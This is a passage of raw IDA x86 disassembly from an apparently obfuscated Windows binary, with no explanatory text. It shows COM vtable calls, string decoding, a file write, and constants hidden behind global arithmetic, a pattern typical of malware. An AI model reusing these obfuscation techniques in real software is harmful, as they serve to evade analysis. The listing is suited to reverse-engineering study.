[ebp-40E5Ch] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50EA28 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C add esp, 18h loc_443486: ; CODE XREF: sub_44300F+359j lea eax, [ebp+var_30E58] push eax mov eax, [ebp+var_30E54] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax movsx eax, word_5511EC add eax, dword_55118C sub eax, 3 cmp ebx, eax jnz loc_443E0D mov eax, dword_55113C add eax, dword_5510C0 sub eax, 0Ah mov [ebp+var_30E50], eax jmp loc_443DFB ; --------------------------------------------------------------------------- loc_4434CC: ; CODE XREF: sub_44300F+DF8j mov eax, [ebp+var_30E50] mov [ebp+var_60EC8], eax mov [ebp+var_60ED0], 2 mov eax, dword_55124C mov edx, dword_551124 sub edx, 9 mov byte ptr [ebp+eax+var_50E9C], dl lea eax, [ebp+var_60EBC] push eax lea esi, [ebp+var_60ED0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_60ED0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_30E54] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax mov eax, dword_5510C8 movsx edx, word_551268 add eax, edx sub eax, 3 cmp ebx, eax jnz loc_443DF5 push offset word_551C1A call sub_43AC94 push [ebp+var_30E50] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50EA28 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C add esp, 18h mov eax, dword_5511FC mov [ebp+var_60ED4], eax lea eax, [ebp+var_60ED4] push eax push offset dword_552A54 mov eax, [ebp+var_60EBC] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_5510EC add eax, dword_551164 cmp ebx, eax jnz loc_443A63 lea eax, [ebp+var_60ED8] push eax mov eax, [ebp+var_60ED4] push eax mov edi, [eax] call dword ptr [edi+0F0h] mov ebx, eax movsx eax, word_55111C movsx edx, word_551094 add eax, edx sub eax, 3 cmp eax, ebx jnz loc_443A57 lea eax, [ebp+var_60E9B] push eax push [ebp+var_60ED8] call sub_44582B add esp, 8 mov edi, eax inc edi mov [ebp+var_60EB4], edi push [ebp+var_60ED8] call ds:dword_550034 mov eax, dword_5511D8 add eax, dword_5510C4 sub eax, 10h mov [ebp+var_40E98], eax jmp short loc_443673 ; --------------------------------------------------------------------------- loc_44362E: ; CODE XREF: sub_44300F+670j mov eax, [ebp+var_40E98] movsx eax, [ebp+eax+var_60E9B] mov edx, dword_551200 add edx, 0Ah cmp eax, edx jz short loc_443657 movsx edx, word_55112C add edx, 5 cmp eax, edx jnz short loc_44366D loc_443657: ; CODE XREF: sub_44300F+638j mov eax, [ebp+var_40E98] mov edx, dword_551114 sub edx, 2 mov [ebp+eax+var_60E9B], dl loc_44366D: ; CODE XREF: sub_44300F+646j inc [ebp+var_40E98] loc_443673: ; CODE XREF: sub_44300F+61Dj mov eax, [ebp+var_60EB4] cmp [ebp+var_40E98], eax jb short loc_44362E lea eax, [ebp+var_60E9B] push eax lea eax, [ebp+var_50E97] push eax call sub_44799C mov eax, dword_551174 dec eax mov [ebp+var_40E98], eax loc_4436A0: ; CODE XREF: sub_44300F+7C9j mov eax, [ebp+var_40E98] lea ecx, [ebp+eax+var_60E9B] or eax, 0FFFFFFFFh loc_4436B0: ; CODE XREF: sub_44300F+6A6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4436B0 mov [ebp+var_60EA4], eax movsx edx, word_5510E4 movsx ecx, word_55111C lea edx, [edx+ecx+0C8h] cmp eax, edx ja short loc_4436E3 mov edx, dword_551098 sub edx, 2 cmp eax, edx jnz short loc_4436E8 loc_4436E3: ; CODE XREF: sub_44300F+6C5j jmp loc_4437B6 ; --------------------------------------------------------------------------- loc_4436E8: ; CODE XREF: sub_44300F+6D2j movsx eax, word_5510D8 sub eax, 9 mov [ebp+var_60EA0], eax jmp short loc_443729 ; --------------------------------------------------------------------------- loc_4436FA: ; CODE XREF: sub_44300F+726j mov eax, [ebp+var_60EA0] add eax, [ebp+var_40E98] movsx eax, [ebp+eax+var_60E9B] movsx edx, word_551224 mov ecx, dword_55118C lea edx, [edx+ecx+1Eh] cmp eax, edx jnz short loc_443737 inc [ebp+var_60EA0] loc_443729: ; CODE XREF: sub_44300F+6E9j mov eax, [ebp+var_60EA4] cmp [ebp+var_60EA0], eax jb short loc_4436FA loc_443737: ; CODE XREF: sub_44300F+712j mov eax, [ebp+var_60EA4] cmp [ebp+var_60EA0], eax jz short loc_4437B6 push dword_5510E0 mov eax, [ebp+var_40E98] lea eax, [ebp+eax+var_60E9B] push eax lea eax, [ebp+var_50E97] push eax call sub_442127 add esp, 0Ch mov [ebp+var_60EDC], eax mov eax, dword_551174 add eax, 0FFFEh cmp [ebp+var_60EDC], eax jnz short loc_4437B6 push offset byte_551C15 call sub_43AC94 push eax lea edi, [ebp+var_50E97] push edi call ds:dword_44802C mov eax, [ebp+var_40E98] lea eax, [ebp+eax+var_60E9B] push eax lea eax, [ebp+var_50E97] push eax call ds:dword_44802C add esp, 14h loc_4437B6: ; CODE XREF: sub_44300F:loc_4436E3j ; sub_44300F+734j ... movsx eax, word_5511CC sub eax, 5 add eax, [ebp+var_60EA4] add [ebp+var_40E98], eax mov eax, [ebp+var_60EB4] cmp [ebp+var_40E98], eax jb loc_4436A0 mov eax, dword_5511A0 mov [ebp+var_60EB0], eax lea ecx, [ebp+var_50E97] or eax, 0FFFFFFFFh loc_4437F2: ; CODE XREF: sub_44300F+7E8j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4437F2 mov [ebp+var_60EA4], eax mov eax, dword_55109C add eax, dword_551248 sub eax, 0Bh mov [ebp+var_40E98], eax jmp loc_443A2E ; --------------------------------------------------------------------------- loc_443818: ; CODE XREF: sub_44300F+A2Bj movsx eax, word_5511CC add eax, 1Ah mov edx, [ebp+var_40E98] movzx edx, [ebp+edx+var_50E97] cmp eax, edx jz short loc_44383B and [ebp+var_60EA8], 0 loc_44383B: ; CODE XREF: sub_44300F+823j mov eax, [ebp+var_40E98] movzx eax, [ebp+eax+var_50E97] movsx edx, word_551140 add edx, 1Bh cmp eax, edx jnz loc_4439CA mov eax, dword_5511E8 sub eax, 7 cmp [ebp+var_40E98], eax jbe loc_443917 mov eax, [ebp+var_40E98] mov edx, dword_551118 sub edx, 8 sub eax, edx mov al, [ebp+eax+var_50E97] mov [ebp+var_60EDD], al movzx eax, [ebp+var_60EDD] movsx edx, word_55112C mov ecx, dword_5510E0 lea edx, [edx+ecx+1Ah] cmp eax, edx jle short loc_4438BC mov edx, dword_5510A8 add edx, 27h add edx, dword_5510C0 cmp eax, edx jl short loc_44390D loc_4438BC: ; CODE XREF: sub_44300F+898j movzx eax, [ebp+var_60EDD] mov edx, dword_551190 add edx, 72h add edx, dword_551098 cmp eax, edx jle short loc_4438EB movsx edx, word_5511A8 mov ecx, dword_5510BC lea edx, [edx+ecx+7Fh] cmp eax, edx jl short loc_44390D loc_4438EB: ; CODE XREF: sub_44300F+8C5j movzx eax, [ebp+var_60EDD] mov edx, dword_5510C4 add edx, 30h cmp eax, edx jle short loc_443917 movsx edx, word_55115C add edx, 3Eh cmp eax, edx jge short loc_443917 loc_44390D: ; CODE XREF: sub_44300F+8ABj ; sub_44300F+8DAj mov [ebp+var_60EA8], 1 loc_443917: ; CODE XREF: sub_44300F+85Aj ; sub_44300F+8EEj ... mov eax, [ebp+var_60EA4] cmp [ebp+var_40E98], eax jnb loc_4439CA mov eax, [ebp+var_40E98] mov edx, dword_551160 movsx ecx, word_551094 add edx, ecx sub edx, 7 add eax, edx mov al, [ebp+eax+var_50E97] mov [ebp+var_60EDD], al movzx eax, [ebp+var_60EDD] mov edx, dword_551178 add edx, 77h cmp eax, edx jle short loc_443971 mov edx, dword_5511B4 add edx, 7Eh cmp eax, edx jl short loc_4439C0 loc_443971: ; CODE XREF: sub_44300F+953j movzx eax, [ebp+var_60EDD] mov edx, dword_551248 add edx, 2Eh add edx, dword_551128 cmp eax, edx jle short loc_44399E mov edx, dword_5511D4 add edx, 31h add edx, dword_551154 cmp eax, edx jl short loc_4439C0 loc_44399E: ; CODE XREF: sub_44300F+97Aj movzx eax, [ebp+var_60EDD] mov edx, dword_551230 add edx, 1Bh cmp eax, edx jle short loc_4439CA movsx edx, word_5510D8 add edx, 27h cmp eax, edx jge short loc_4439CA loc_4439C0: ; CODE XREF: sub_44300F+960j ; sub_44300F+98Dj mov [ebp+var_60EA8], 1 loc_4439CA: ; CODE XREF: sub_44300F+846j ; sub_44300F+914j ... mov eax, dword_551204 sub eax, 3 cmp eax, [ebp+var_60EA8] jnz short loc_4439FA mov eax, [ebp+var_60EB0] mov edx, [ebp+var_40E98] mov dl, [ebp+edx+var_50E97] mov [ebp+eax+var_50E97], dl inc [ebp+var_60EB0] loc_4439FA: ; CODE XREF: sub_44300F+9C9j mov eax, [ebp+var_40E98] movzx eax, [ebp+eax+var_50E97] mov edx, dword_5511C0 add edx, 19h movsx ecx, word_5511C4 add edx, ecx cmp eax, edx jnz short loc_443A28 mov [ebp+var_60EA8], 1 loc_443A28: ; CODE XREF: sub_44300F+A0Dj inc [ebp+var_40E98] loc_443A2E: ; CODE XREF: sub_44300F+804j mov eax, [ebp+var_60EA4] cmp [ebp+var_40E98], eax jb loc_443818 mov eax, [ebp+var_60EB0] movsx edx, word_5511CC sub edx, 6 mov [ebp+eax+var_50E97], dl loc_443A57: ; CODE XREF: sub_44300F+5D9j mov eax, [ebp+var_60ED4] push eax mov esi, [eax] call dword ptr [esi+8] loc_443A63: ; CODE XREF: sub_44300F+5A6j mov eax, dword_551230 movsx edx, word_5510B0 add eax, edx sub eax, 6 mov [ebp+var_60EAC], eax lea eax, [ebp+var_60EAC] push eax push offset dword_552A64 mov eax, [ebp+var_60EBC] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_551164 movsx edx, word_551220 add eax, edx dec eax cmp ebx, eax jnz loc_443D7E lea eax, [ebp+var_60EB8] push eax mov eax, [ebp+var_60EAC] push eax mov edi, [eax] call dword ptr [edi+6Ch] mov ebx, eax movsx eax, word_551168 sub eax, 4 cmp ebx, eax jnz loc_443D72 mov eax, dword_551098 sub eax, 2 mov [ebp+var_50E9C], eax jmp loc_443D60 ; --------------------------------------------------------------------------- loc_443AE9: ; CODE XREF: sub_44300F+D5Dj mov eax, dword_5511E0 add eax, dword_5511D8 sub eax, 10h push eax call ds:dword_50EA24 pop ecx mov [ebp+var_70F08], 2 mov eax, [ebp+var_50E9C] mov [ebp+var_70F00], eax lea eax, [ebp+var_70F0C] push eax lea esi, [ebp+var_70F08] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_70F08] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_60EAC] push edi mov edi, [edi] call dword ptr [edi+74h] mov ebx, eax movsx eax, word_551214 add eax, dword_551230 sub eax, 8 cmp ebx, eax jnz loc_443D5A movsx eax, word_5510EC mov [ebp+var_70EF4], eax lea eax, [ebp+var_70EF4] push eax push offset dword_552A54 mov eax, [ebp+var_70F0C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_551118 sub eax, 9 cmp eax, ebx jnz loc_443D4E lea eax, [ebp+var_60EF0] push eax movsx eax, word_5510D8 sub eax, 9 push eax push [ebp+var_30E48] mov eax, [ebp+var_70EF4] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax cmp [ebp+var_60EF0], 8 jnz short loc_443BE7 movsx eax, word_551214 movsx edx, word_55111C add eax, edx sub eax, 3 cmp ebx, eax jz short loc_443BEC loc_443BE7: ; CODE XREF: sub_44300F+BBFj jmp loc_443D42 ; --------------------------------------------------------------------------- loc_443BEC: ; CODE XREF: sub_44300F+BD6j mov eax, dword_5510F8 add eax, dword_551134 mov edx, dword_551090 add edx, dword_55118C dec edx mov [ebp+eax+var_70EFB], dl lea eax, [ebp+var_70EEF] push eax push [ebp+var_60EE8] call sub_44582B add esp, 8 push [ebp+var_60EE8] call ds:dword_550034 mov eax, dword_551138 sub eax, 3 movsx edx, [ebp+var_70EEF] cmp eax, edx jz loc_443D42 push [ebp+var_30E4C] lea eax, [ebp+var_70EEF] push eax call sub_43CD37 add esp, 8 lea eax, [ebp+var_60EF0] push eax mov eax, dword_55109C add eax, dword_5511D4 sub eax, 10h push eax push [ebp+var_30E44] mov eax, [ebp+var_70EF4] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax movsx eax, word_551188 mov edx, eax add edx, eax mov eax, dword_551158 dec eax mov [ebp+edx+var_71F15], al cmp ebx, dword_551100 jnz short loc_443CCD cmp [ebp+var_60EF0], 8 jnz short loc_443CCD lea eax, [ebp+var_71F0B] push eax push [ebp+var_60EE8] call sub_44582B add esp, 8 push [ebp+var_60EE8] call ds:dword_550034 loc_443CCD: ; CODE XREF: sub_44300F+C91j ; sub_44300F+C9Bj push offset byte_551C0D call sub_43AC94 push [ebp+var_50E9C] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50EA28 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C lea eax, [ebp+var_71F0B] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C push offset dword_551C08 call sub_43AC94 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44802C lea eax, [ebp+var_70EEF] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C add esp, 34h loc_443D42: ; CODE XREF: sub_44300F:loc_443BE7j ; sub_44300F+C2Ej mov eax, [ebp+var_70EF4] push eax mov esi, [eax] call dword ptr [esi+8] loc_443D4E: ; CODE XREF: sub_44300F+B8Bj mov eax, [ebp+var_70F0C] push eax mov esi, [eax] call dword ptr [esi+8] loc_443D5A: ; CODE XREF: sub_44300F+B50j inc [ebp+var_50E9C] loc_443D60: ; CODE XREF: sub_44300F+AD5j mov eax, [ebp+var_60EB8] cmp [ebp+var_50E9C], eax jb loc_443AE9 loc_443D72: ; CODE XREF: sub_44300F+AC1j mov eax, [ebp+var_60EAC] push eax mov esi, [eax] call dword ptr [esi+8] loc_443D7E: ; CODE XREF: sub_44300F+A9Aj mov eax, [ebp+var_60EBC] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, dword_55110C movsx edx, word_5510AC add eax, edx movzx eax, [ebp+eax+var_50EA7] movsx edx, word_551120 sub edx, 3 cmp eax, edx jz short loc_443DF5 push offset word_551C02 call sub_43AC94 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44802C lea eax, [ebp+var_50E97] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C push offset byte_551BFD call sub_43AC94 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44802C add esp, 20h loc_443DF5: ; CODE XREF: sub_44300F+533j ; sub_44300F+D9Dj inc [ebp+var_30E50] loc_443DFB: ; CODE XREF: sub_44300F+4B8j mov eax, [ebp+var_30E58] cmp [ebp+var_30E50], eax jb loc_4434CC loc_443E0D: ; CODE XREF: sub_44300F+338j ; sub_44300F+3C0j ... inc dword ptr [ebp-40E5Ch] mov eax, [ebp+var_40E90] cmp [ebp-40E5Ch], eax jl loc_4432DF lea eax, [ebp+var_30D40] push eax call ds:dword_50EA1C pop ecx push [ebp+var_30E48] call ds:dword_550034 push [ebp+var_30E44] call ds:dword_550034 loc_443E4B: ; CODE XREF: sub_44300F+22Fj mov eax, [ebp+var_40E70] push eax mov esi, [eax] call dword ptr [esi+8] loc_443E57: ; CODE XREF: sub_44300F+20Aj mov eax, [ebp+var_40E6C] push eax mov esi, [eax] call dword ptr [esi+8] loc_443E63: ; CODE XREF: sub_44300F+1E5j mov eax, [ebp+var_40E68] push eax mov esi, [eax] call dword ptr [esi+8] loc_443E6F: ; CODE XREF: sub_44300F+CFj ; sub_44300F:loc_443156j ... mov eax, [ebp+var_40E64] push eax mov esi, [eax] call dword ptr [esi+8] loc_443E7B: ; CODE XREF: sub_44300F+51j ; sub_44300F+A4j pop edi pop esi pop ebx leave retn sub_44300F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443E80 proc near ; CODE XREF: sub_4467C4+44Cp ; sub_4467C4+4E6p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, dword_551150 sub eax, 4 push eax push 80h push 4 mov eax, dword_5510B8 sub eax, 8 push eax push dword_551164 push 40000000h push offset dword_4CC330 call ds:dword_54FC18 mov edi, eax push 0 mov eax, dword_551098 sub eax, 2 push eax push [ebp+arg_4] push edi call ds:dword_550030 mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_443ED5: ; CODE XREF: sub_443E80+5Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_443ED5 mov esi, eax mov ebx, dword_551208 sub ebx, 2 push ebx lea ebx, [ebp+var_4] push ebx push esi push [ebp+arg_0] push edi call ds:dword_55001C push edi call ds:dword_4CDA48 pop edi pop esi pop ebx leave retn sub_443E80 endp ; =============== S U B R O U T I N E ======================================= sub_443F03 proc near ; CODE XREF: sub_43E491+372p push 0 call sub_43FC04 push 2 call sub_43FC04 add esp, 8 retn sub_443F03 endp ; =============== S U B R O U T I N E ======================================= sub_443F15 proc near ; CODE XREF: sub_43E491+25p push edi push offset word_551BEE call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_55129C, eax mov eax, dword_551108 movsx edx, word_551188 add eax, edx sub eax, 7 cmp eax, dword_55129C jnz short loc_443F5D push offset byte_551BDF call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_55129C, eax loc_443F5D: ; CODE XREF: sub_443F15+2Fj push offset byte_551BCB call sub_43AC94 pop ecx push eax push dword_55129C call ds:dword_44B1AC mov ds:dword_48BA00, eax pop edi retn sub_443F15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443F7C proc near ; CODE XREF: sub_43C10A+1A5p ; sub_441AE5+281p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov esi, [ebp+arg_4] inc esi mov edi, dword_551124 add edi, 12h add edi, dword_5510D0 mov eax, esi test eax, eax jge short loc_443FA3 add eax, 0FFh loc_443FA3: ; CODE XREF: sub_443F7C+20j sar eax, 8 mov ebx, dword_5510E8 inc ebx add ebx, dword_551218 mov edx, eax imul edx, ebx add edi, edx mov [ebp+var_8], edi mov eax, esi test eax, eax jge short loc_443FC8 add eax, 0FFFFh loc_443FC8: ; CODE XREF: sub_443F7C+45j sar eax, 10h movsx edi, word_5511AC movsx ebx, word_5511C4 lea edi, [edi+ebx+0Ah] mov ebx, eax imul ebx, edi mov edi, dword_551128 add edi, 19h add edi, dword_55122C add ebx, edi mov [ebp+var_C], ebx movsx edi, word_5511EC mov eax, esi test eax, eax jge short loc_444008 add eax, 0FFh loc_444008: ; CODE XREF: sub_443F7C+85j sar eax, 8 movsx ebx, word_551240 add ebx, 10h mov edx, eax imul edx, ebx lea edi, [edi+edx+12h] mov [ebp+var_10], edi mov eax, esi mul [ebp+var_C] mov [ebp+var_1C], eax and eax, 0FFh push eax call sub_43F45E mov ebx, eax mov [ebp+var_11], bl mov eax, dword_551164 add eax, 45h movsx edx, word_551168 add eax, edx imul eax, esi and eax, 0FFh push eax call sub_445D55 mov ebx, eax mov [ebp+var_12], bl mov eax, esi mul [ebp+var_10] mov [ebp+var_20], eax and eax, 0FFh push eax call sub_43F45E mov ebx, eax mov [ebp+var_13], bl mov eax, dword_55126C add eax, 26h add eax, dword_5510C0 imul eax, esi and eax, 0FFh push eax call sub_445D55 mov ebx, eax mov [ebp+var_14], bl mov eax, dword_551148 add eax, 65h add eax, dword_5511F4 imul eax, esi and eax, 0FFh push eax call sub_445D55 mov ebx, eax mov [ebp+var_15], bl mov eax, esi and eax, 0FFh push eax call sub_43F45E mov ebx, eax mov [ebp+var_16], bl mov eax, esi mul [ebp+var_8] mov [ebp+var_24], eax and eax, 0FFh push eax call sub_43F45E mov ebx, eax mov [ebp+var_1], bl mov eax, dword_551258 add eax, 0Ah add eax, dword_5510C0 mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_445D55 mov ebx, eax mov [ebp+var_17], bl movsx eax, word_551194 add eax, 3Ch imul eax, esi and eax, 0FFh push eax call sub_43F45E add esp, 24h mov ebx, eax mov [ebp+var_18], bl movzx edi, [ebp+var_1] mov eax, edi shr eax, 1 mov esi, dword_551114 movsx ebx, word_551220 add esi, ebx dec esi mul esi mov [ebp+var_28], eax mov esi, eax cmp edi, eax jnz short loc_44418F push offset byte_551BB1 call sub_43AC94 movzx edi, [ebp+var_18] push edi movzx edi, [ebp+var_12] push edi movzx edi, [ebp+var_11] push edi movzx edi, [ebp+var_14] push edi movzx edi, [ebp+var_16] push edi movzx edi, [ebp+var_15] push edi movzx edi, [ebp+var_13] push edi movzx edi, [ebp+var_17] push edi movzx edi, [ebp+var_1] push edi push eax push [ebp+arg_0] call ds:dword_50EA28 add esp, 30h jmp short loc_4441D3 ; --------------------------------------------------------------------------- loc_44418F: ; CODE XREF: sub_443F7C+1CBj push offset word_551B96 call sub_43AC94 movzx edi, [ebp+var_18] push edi movzx edi, [ebp+var_12] push edi movzx edi, [ebp+var_11] push edi movzx edi, [ebp+var_14] push edi movzx edi, [ebp+var_16] push edi movzx edi, [ebp+var_15] push edi movzx edi, [ebp+var_13] push edi movzx edi, [ebp+var_17] push edi movzx edi, [ebp+var_1] push edi push eax push [ebp+arg_0] call ds:dword_50EA28 add esp, 30h loc_4441D3: ; CODE XREF: sub_443F7C+211j pop edi pop esi pop ebx leave retn sub_443F7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4441D8 proc near ; CODE XREF: sub_43E04C+20p ; sub_43E04C+25Cp var_10088 = dword ptr -10088h var_10084 = dword ptr -10084h var_10080 = dword ptr -10080h var_1007C = dword ptr -1007Ch var_10078 = word ptr -10078h var_10070 = dword ptr -10070h var_10064 = dword ptr -10064h var_10060 = dword ptr -10060h var_1005C = dword ptr -1005Ch var_10055 = byte ptr -10055h var_10054 = dword ptr -10054h var_10050 = dword ptr -10050h var_1004C = dword ptr -1004Ch var_10048 = dword ptr -10048h var_10044 = dword ptr -10044h var_1003F = byte ptr -1003Fh var_40 = word ptr -40h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 10088h call sub_44797C push ebx push esi push edi mov [ebp+var_40], 8 push offset dword_551B88 call sub_43AEDD pop ecx push eax call ds:dword_44900C mov [ebp+var_38], eax lea eax, [ebp+var_2C] push eax lea esi, [ebp+var_40] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_4] push edi mov edi, [edi] call dword ptr [edi+30h] mov ebx, eax mov eax, dword_551108 sub eax, 2 cmp ebx, eax jz short loc_444234 xor eax, eax jmp loc_44496B ; --------------------------------------------------------------------------- loc_444234: ; CODE XREF: sub_4441D8+53j lea eax, [ebp+var_24] push eax push offset dword_552A44 mov eax, [ebp+var_2C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_5510D8 sub eax, 9 cmp eax, ebx jnz loc_444960 lea eax, [ebp+var_28] push eax mov eax, [ebp+var_24] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax mov eax, dword_5511B8 sub eax, 7 cmp ebx, eax jnz loc_444957 mov eax, dword_5510F4 add eax, dword_55114C sub eax, 8 mov [ebp+var_1C], eax jmp loc_44494B ; --------------------------------------------------------------------------- loc_444293: ; CODE XREF: sub_4441D8+779j mov eax, [ebp+var_1C] mov [ebp+var_10], eax mov [ebp+var_18], 2 lea eax, [ebp+var_4] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_24] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax mov eax, dword_5511E4 movsx edx, word_5511CC add eax, edx sub eax, 0Bh cmp ebx, eax jnz loc_444948 mov eax, dword_551148 add eax, dword_5510F8 sub eax, 0Bh mov [ebp+var_10044], eax lea eax, [ebp+var_10044] push eax push offset dword_552A54 mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_5511CC sub eax, 6 cmp ebx, eax jnz loc_444914 mov eax, dword_5511E0 add eax, dword_551184 sub eax, 11h cmp [ebp+var_10044], eax jz loc_444914 lea eax, [ebp+var_20] push eax mov eax, [ebp+var_10044] push eax mov edi, [eax] call dword ptr [edi+0F8h] mov ebx, eax movsx eax, word_551268 sub eax, 3 cmp eax, ebx jnz loc_444914 lea eax, [ebp+var_1003F] push eax push [ebp+var_20] call sub_44582B mov eax, dword_5510A4 movsx edx, word_5510AC add eax, edx sub eax, 0Fh push eax push offset dword_48C300 lea eax, [ebp+var_1003F] push eax call sub_442127 add esp, 14h mov edi, dword_551154 add edi, 0FFF4h add edi, dword_5510D0 cmp edi, eax jz loc_444914 mov eax, dword_5511F4 sub eax, 4 cmp [ebp+arg_8], eax jnz short loc_4443E0 mov eax, [ebp+var_10044] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] xor eax, eax inc eax jmp loc_44496B ; --------------------------------------------------------------------------- loc_4443E0: ; CODE XREF: sub_4441D8+1E9j mov eax, dword_55109C sub eax, 7 mov [ebp+var_1007C], eax lea eax, [ebp+var_1007C] push eax push offset dword_552A74 mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_551240 dec eax cmp ebx, eax jnz loc_444914 mov [ebp+var_10055], 44h push offset byte_551B7F call sub_43AC94 mov edi, dword_5510D0 add edi, dword_551250 sub edi, 5 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_442127 add esp, 10h mov esi, dword_5510D4 add esi, 0FFF8h cmp eax, esi jz short loc_444461 mov [ebp+var_10055], 43h loc_444461: ; CODE XREF: sub_4441D8+280j push offset byte_551B77 call sub_43AC94 mov edi, dword_551264 add edi, dword_5510A4 sub edi, 0Bh push edi push eax lea edi, [ebp+var_1003F] push edi call sub_442127 add esp, 10h mov esi, dword_551138 add esi, 0FFF5h movsx edx, word_5510A0 add esi, edx cmp eax, esi jz short loc_4444AB mov [ebp+var_10055], 50h loc_4444AB: ; CODE XREF: sub_4441D8+2CAj push offset byte_551B6F call sub_43AC94 movsx edi, word_5510B0 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_442127 add esp, 10h movsx esi, word_5511C4 sub esi, 3 mov edi, eax add edi, esi mov [ebp+var_10064], edi mov [ebp+var_10050], edi loc_4444E7: ; CODE XREF: sub_4441D8+325j mov eax, [ebp+var_10050] cmp [ebp+eax+var_1003F], 26h jz short loc_4444FF inc [ebp+var_10050] jmp short loc_4444E7 ; --------------------------------------------------------------------------- loc_4444FF: ; CODE XREF: sub_4441D8+31Dj mov eax, [ebp+var_10050] movsx edx, word_551254 add edx, dword_5510BC sub edx, 8 mov [ebp+eax+var_1003F], dl mov eax, [ebp+var_10064] lea eax, [ebp+eax+var_1003F] push eax call ds:dword_44901C mov [ebp+var_10080], eax push offset dword_551B68 call sub_43AC94 mov edi, dword_5511F0 movsx esi, word_551228 add edi, esi sub edi, 0Eh push edi push eax lea edi, [ebp+var_1003F] push edi call sub_442127 add esp, 14h movsx esi, word_551104 add esi, dword_5510F8 sub esi, 6 mov edi, eax add edi, esi mov [ebp+var_10064], edi mov [ebp+var_10050], edi loc_444583: ; CODE XREF: sub_4441D8+3C1j mov eax, [ebp+var_10050] cmp [ebp+eax+var_1003F], 26h jz short loc_44459B inc [ebp+var_10050] jmp short loc_444583 ; --------------------------------------------------------------------------- loc_44459B: ; CODE XREF: sub_4441D8+3B9j mov eax, [ebp+var_10050] movsx edx, word_5510D8 sub edx, 9 mov [ebp+eax+var_1003F], dl mov eax, [ebp+var_10064] lea eax, [ebp+eax+var_1003F] push eax call ds:dword_44901C pop ecx mov [ebp+var_1005C], eax mov eax, dword_55121C cmp [ebp+var_10080], eax ja loc_44466E mov eax, dword_551204 movsx edx, word_5511C4 add eax, edx sub eax, 0Ah mov [ebp+var_10048], eax jmp short loc_44465C ; --------------------------------------------------------------------------- loc_4445F7: ; CODE XREF: sub_4441D8+494j mov edi, [ebp+var_10048] mov dl, ds:byte_44B1B0[edi] cmp dl, [ebp+var_10055] jnz short loc_444656 shl edi, 2 movsx esi, word_55123C add esi, dword_5510DC sub esi, 0Ah cmp ds:dword_44A0E0[edi], esi jz short loc_444656 mov esi, [ebp+var_1005C] cmp ds:dword_449020[edi], esi jnz short loc_444656 mov edi, [ebp+var_10048] mov esi, dword_5510C4 